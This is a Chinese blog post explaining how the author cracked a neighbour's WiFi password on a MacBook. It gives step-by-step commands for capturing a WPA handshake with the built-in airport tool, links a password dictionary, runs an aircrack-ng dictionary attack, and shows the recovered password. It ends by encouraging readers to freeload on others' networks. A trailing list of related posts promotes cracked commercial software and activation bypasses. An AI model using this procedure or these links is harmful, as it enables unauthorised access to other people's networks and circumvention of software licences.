出差第二天,住的小区因为疫情被封,宿舍又没有wifi,看着附近满满的WIFI信号列表,wifi万能钥匙却一个都连接不上,心中一万匹CNM。。。于是电脑连上手机热点,然后各种折腾,终于破解了一个隔壁的wifi密码。

准备工作

1.电脑:MacBook Pro (本机系统版本为 macOS Catalina 10.15.6

2.下载软件:MacPorts,然后安装(提醒:安装时断网,不然极有可能卡死)

3.更新MacPorts,打开终端,输入命令(两次):

sudo port selfupdate

​ 下载安装MacPorts可参考:https://www.cnblogs.com/Mateo-dengmin/p/15855168.html

4.更新完成后,安装aircrack-ng,输入命令:

sudo port install aircrack-ng

5.Mac系统自带WIFI工具:airport,运行该工具,该程序的路径默认为:/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport,可以直接运行也可以在终端输入命令来运行

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s

SSID 是 wifi名称,RSSI 是信号强度,CHANNEL 是信道。效果如下:

6.下载wifi密码字典(多种可供选择)

链接:https://pan.baidu.com/s/1uSHL7PVbLqkZZqAZhb6Epw 密码: gl1t

7.获取本机网卡信息,输入命令:

ifconfig

本机电脑网卡为 en0

破解开始

1.获取握手包,开始抓包,en0为电脑网卡,13为监听的信道,命令如下:

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff 13

2.监听之后,Wi-Fi图标会变化,使用ctrl+c停止监听,系统会将监听到的数据cap文件保存到本地/tmp文件夹下。打开cap文件,查看cap文件中的数据是否被抓取到,输入命令查看:

sudo aircrack-ng /tmp/airportSniffhKI8Kg.cap

如果要查询的路由列表的 Encryption中(0 handshake)是抓包失败,(1 handshake)则是抓包成功,否者要回到第1步重新抓取。(抓包时需要刚好这段时间有人重新连接了wifi才能抓到 WPA(1 handshake)的数据)

3.进入字典所在目录(进入个人存放wifi密码字典目录)

cd  ~/Documents/wifi

4.开始破解,dic.txt 为字典文件,/tmp/airportSniffhKI8Kg.cap为抓取到的握手包,命令如下:

sudo aircrack-ng -w dic.txt /tmp/airportSniffhKI8Kg.cap

效果如下:

提示「Index number of target network ?」时,输入 Encryption 中为(1 handshake)数据的行号,这里输入730。

等待破解结果...,中断破解过程可以直接按 command + c 组合键退出。破解过程所需时间长短受电脑硬件配置、字典体积大小的影响。如果dic.txt字典破解失败,则可以换其它字典进行破解,直到破解成功。

5.如果破解成功则会如下图所示:

这里破解出来的密码为:b36tm772

最后,祝大家都能蹭网成功!

MAC系统下破解WIFI密码(亲测可用,含wifi密码字典)的更多相关文章

  1. 百度网盘SVIP不限速Mac破解版(亲测可用)

    百度网盘SVIP不限速Mac破解版(亲测可用),按照教程一步一步来就可以了,链接如下: https://mac.orsoon.com/Mac/166358.html?id=ODY0MDA2Jl8mMT ...

  2. 数据库工具DbVisualize安装、破解教程,亲测可用

    之前工作中遇到生产环境不允许导入Oracle的dmp文件,只能导入sql脚本,但是表中存在clob字段,直接用plsql工具无法导出clob字段,用了下dbvisualizer可以直接导出,亲测可用. ...

  3. office2010安装与破解,笔者亲测可用!!!!!!

    我们首先需要准备office2010安装包与破相应的破解软件.软件包的获取方式:扫码关注[猿成长],,回复 office2010安装,即可获取,下载解压后文件目录结构如下图所示: 打开安装程序文件夹, ...

  4. IDEA 使用Mybatis效率飞起来的必备工具:MybatisCodeHelperPro 最新破解版,亲测可用!

    IDEA 2018.3.5 最新版本亲测可用. Git地址:https://github.com/pengzhile/MyBatisCodeHelper-Pro-Crack/releases 下载最新 ...

  5. myeclipse 9.0 破解方法,亲测可用

    MyEclipse 9.0的破解方法,步骤如下: 1.破解公钥,确保MyEclipse没有开启,否则失败! 用WinRAR打开Common\plugins\com.genuitec.eclipse.c ...

  6. XMind 8 pro for Mac(思维导图软件)附序列号和破解教程【亲测可用!!】

    年后了,又到一年面试时,最近在用思维导图整理知识点,原本使用的是在线思维导图 ProcessOn,奈何免费版的个人文件数量只能有9 张,远远不能满足我的需要,所以还是使用一个本地版的吧,but依然不想 ...

  7. IntelliJ IDEA2017/2018 激活方法 破解补丁激活(亲测可用)(注册码方法以和谐)

    IntelliJ IDEA2017 激活方法(注册码方法以和谐): 搭建自己的授权服务器,对大佬来说也很简单,我作为菜鸟就不说了,网上有教程. 我主要说第二种,现在,直接写入注册码,是不能成功激活的( ...

  8. Microsoft Office for Mac最新版本安装教程,亲测可用!!!

    办公必备的Office工具,它为需要使用 Office 工具的用户和企业设计,让他们可以利用功能强大的 Outlook 来处理电子邮件.日历和通讯录事宜.你所熟知和信赖的 Office 经过更新后,可 ...

  9. 最新Navicat Premium12 破解方法,亲测可用

    1.下载Navicat Premium 官网https://www.navicat.com.cn/下载最新版本下载安装(文末,网盘地址有64位安装包和注册机下载) 2.激活Navicat Premiu ...

随机推荐

  1. 那是我在夕阳下的code

    布局何如让一个标签上下左右都居中?这有什么难的,给定子标签的宽,再让它的边距上下为0,左右为auto;如下: .child{width:10px;margin:0 auto;}//子标签 它就可以左右 ...

  2. 写了一个web os脚手架

    预览地址在这里:http://thx.github.io/magix-os/项目地址在这里:https://github.com/thx/magix-os 介绍下目录结构 核心目录cores主要是构成 ...

  3. 从零开始:微信小程序新手入门宝典《一》

    为了方便大家了解并入门微信小程序,我将一些可能会需要的知识,列在这里,让大家方便的从零开始学习: 一:微信小程序的特点 张小龙:张小龙全面阐述小程序,推荐通读此文: 小程序是一种不需要下载.安装即可使 ...

  4. throws子句在继承当中overrride时有什么规则

    8.throws子句在继承当中overrride时的规则 马克-to-win:当子类方法override父类方法时,throws子句不能引进新的checked异常.换句话说:子类override方法的 ...

  5. java中的方法(method)到底怎么用?给个例子

    7.方法(method)   被调例子, int add(int x, int y){ return x+y; } 主调例子, for example: int result = add(5,3); ...

  6. 自己对kmp算法的理解,借由 28. 实现 strStr() 为例

    做题思路 or 感想 : 就借由这道题来理解一下kmp算法吧 kmp算法的操作过程我觉得有句话很合适 :KMP 算法永不回退 目标字符串 的指针 i,不走回头路(不会重复扫描 目标字符串),而是借助 ...

  7. Java 值传递 or 引用传递?

    Java 方法传参 值传递 or 引用传递? 结论:Java采用的是值传递 先建立一些基础的概念 什么是值传递和引用传递? 值传递(pass by value):是指在调用函数时将实际参数复制一份传递 ...

  8. CTFHUB之gopher协议实现SSRF

    介绍 解题思路: 利用302协议(重定向)的跳转ssrf.可以访问与服务器相连的内网 ①什么是gopher协议 Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种 ...

  9. float,short类型赋值运算问题

    float f = 3.4; 有错吗? 有错,因为浮点类型默认是double类型,double类型赋值给float类型是大类型赋值给小类型需要进行强转,可在3.4前加(float)进行强转,或者在声明 ...

  10. GRPC-go版本

    GRPC-go版本 1.安装GO,protobuf 只适合有梯子的 GO的安装没必要说了 protobuf :https://github.com/protocolbuffers/protobuf/r ...